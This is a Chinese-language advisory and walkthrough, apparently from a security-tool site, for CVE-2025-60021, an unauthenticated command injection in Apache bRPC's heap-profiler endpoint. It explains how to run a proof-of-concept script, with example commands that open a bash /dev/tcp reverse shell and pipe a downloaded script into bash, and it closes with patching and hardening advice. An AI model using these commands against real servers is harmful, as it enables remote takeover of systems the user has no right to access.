❗攻击者只需操控此分析参数即可远程注入命令。

🚨 严重性与风险

🔥 严重性评级: 严重 📊 CVSS v3.1 基础评分: 9.8 / 10 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)

👉 这意味着攻击者可以在无需登录的情况下远程执行任意命令——对于暴露的服务而言，这是最坏的情况。

🧠 技术解析

🔍 工作原理

1. 堆分析器暴露: bRPC 暴露了一个用于内存分析（jemalloc）的分析端点 (/pprof/heap)。 (openwall.com)
2. 输入处理缺陷: 端点接受 extra_options 参数。bRPC 未对其进行清理，而是直接传递给操作系统 shell。 (openwall.com)
3. 命令注入: 恶意攻击者构造包含系统命令的输入 → 服务执行这些命令。 (CVE Details)

使用 CVE-2025-60021 PoC 脚本的分步指南

假设你已将脚本保存为 CVE-2025-60021.py（尽管实际 CVE 编号为 2025-60021——可以随意重命名）。这是一个 Python 3 脚本，用于演示 Apache bRPC 堆分析器中的远程命令注入漏洞。仅在你自己拥有或获得明确书面授权测试的系统上运行——未经授权的利用是非法的。

前提条件

1. Python 环境: 确保安装了 Python 3（例如 3.6+）。脚本使用内置模块以及 requests 和 argparse（它们是标准库或易于安装）。

2. 安装依赖: 如果尚未安装，请安装 requests 库：

   root@kitploit:~

   pip install requests
   

3. 目标设置: 需要一个存在漏洞的 Apache bRPC 服务器：

   • 版本 < 1.15.0。
   • 已启用堆分析器（检查服务器配置；在开发环境中通常默认开启）。
   • 可通过网络访问（例如 http://localhost:8060 或远程 IP/端口）。 如果在本地测试，请搭建一个存在漏洞的 bRPC 实例（例如通过 Docker 或源码编译——请参考 Apache bRPC 文档）。

4. 权限: 仅当需要网络访问或特殊权限时才使用 sudo；否则，普通 python3 即可。

步骤 1：保存脚本

将我之前提供的 PoC 代码复制到名为 CVE-2025-60021.py 的文件中。如果需要，可以使其可执行：

步骤 2：理解参数

脚本需要两个必需的位置参数：

• target: 存在漏洞的 bRPC 服务器的 URL（例如 http://192.168.1.100:8060 或 http://targets:8060——请修正任何拼写错误，如缺少 scheme 或无效的主机名）。
• cmd: 要在目标上执行的命令（例如 "id" 获取用户信息，或更复杂的命令如 "curl http://your-server/reverse-shell.sh | bash" 实现反向 shell）。使用 && 或 ; 可以串联多个命令。

步骤 3：运行脚本

打开终端（例如，像你使用的 Kali Linux），使用你的目标和命令执行脚本。示例命令：

• 基本测试（获取系统信息）：

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
  

• 反向 shell 示例（替换 your-listener-ip 和端口；首先设置监听器，如 nc -lvnp 4444）：

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
  

• 如果使用 HTTPS 或不同端口，请相应调整 URL（例如 https://target:443——脚本可以处理，但如果证书有问题，请添加 --insecure）。

步骤 4：解释输出

成功标志：

• 漏洞利用可能成功！(200 OK)
• 响应正文中可能出现命令输出（例如，如果执行了 id，则显示 uid=0(root)...）。
• 对于无输出命令（例如文件写入或 shell），请检查目标服务器（日志、进程）或你的监听器。

失败标志（就像你看到的）：

• 状态码 404 - 可能不存在漏洞？"
• 错误消息如 "[E1002] Heap profiler is not enabled" 表示端点未激活——在目标上启用它，或查找其他存在漏洞的实例。
• 超时或连接错误：目标不可达、防火墙阻止或端口错误。
• 如果没有输出泄漏，命令仍可能在服务器上静默执行。

步骤 5：常见问题排查

• 404 错误: 堆分析器已禁用。在 bRPC 配置中启用（例如 --enable_heap_profiler=true）并重启服务器。
• Argparse 错误: 忘记 cmd 参数——始终包含它。
• 没有响应正文输出: 某些命令不产生标准输出。使用能产生输出的命令（例如 echo "test" > /tmp/proof.txt），然后检查目标上的文件。
• 权限: 如果 bRPC 进程以非 root 用户运行，命令将受限于该用户的权限。
• Payload 调整: 如果 ; 无效，请尝试 && 或 | 进行串联。如有必要，对特殊字符进行 URL 编码（脚本可处理大多数情况）。
• 本地测试: 搭建一个存在漏洞的 Docker 容器运行 bRPC，无需涉及真实系统即可验证。

步骤 6：清理与道德注意事项

• 测试完成后，修补目标：升级到 bRPC 1.15.0+ 或禁用 /pprof/heap。
• 删除任何遗留物（例如创建的 shell 或文件）。
• 如果是渗透测试，请记录你的测试以备合规要求。

如果漏洞利用成功（目标启用了堆分析器且 bRPC 版本 <1.15.0 未修补），终端中的输出将类似于以下内容（具体细节取决于命令的标准输出和服务器配置）：

关键标志：200 OK 状态码，如果你的命令（如 id && whoami && uname -a）产生输出，它可能会出现在响应正文中（混有分析器的垃圾数据）。对于静默命令（例如反向 shell），请检查目标服务器或你的监听器是否有活动——除了 200 状态码，终端没有直接确认。😈

🛠 缓解与修复

✅ 主要解决方案

• 👉 将 Apache bRPC 升级到 1.15.0 或更高版本。 (NVD)

🧩 替代修复

• 🛠 手动应用官方补丁，来自 Apache bRPC GitHub 仓库（Pull Request #3101）。 (openwall.com)

🔒 额外防护措施

• 防火墙/ACL: 阻止来自不受信网络对 /pprof/heap 的访问。
• 禁用分析功能: 在不需要时关闭堆分析。
• 监控日志: 留意异常的分析活动。

💡 为什么这是危险的

✔ 攻击者不需要凭据。 ✔ 它通过网络工作。 ✔ 影响所有使用存在漏洞 bRPC 的平台。 ✔ 可以导致完全系统受损。

在关键服务（如搜索、存储、机器学习管道）中使用 bRPC 的企业尤其危险，因为此缺陷将一个诊断工具变成了攻击向量。 (Daily CyberSecurity)

🧾 补充说明

⚠ EPSS（漏洞利用预测评分系统）： 一些源表示到目前为止观察到的利用活动较少，但利用的简易性意味着它可能很快被用于实际攻击。 (Tenable®)

📌 分类： CWE-77 — 命令中对特殊元素的不当清除（命令注入）。 (NVD)

📎 参考资料

• NIST/NVD 漏洞条目 for CVE-2025-60021 (NVD)
• Apache & Openwall 安全公告 详情 (openwall.com)
• INCIBE-CERT CVSS 及指标分解 (INCIBE)
• CVE Details 概述（受影响版本及修复指南） (CVE Details)

如果你在生产环境中运行 Apache bRPC — 立即修补，并限制对诊断端点的访问以降低风险。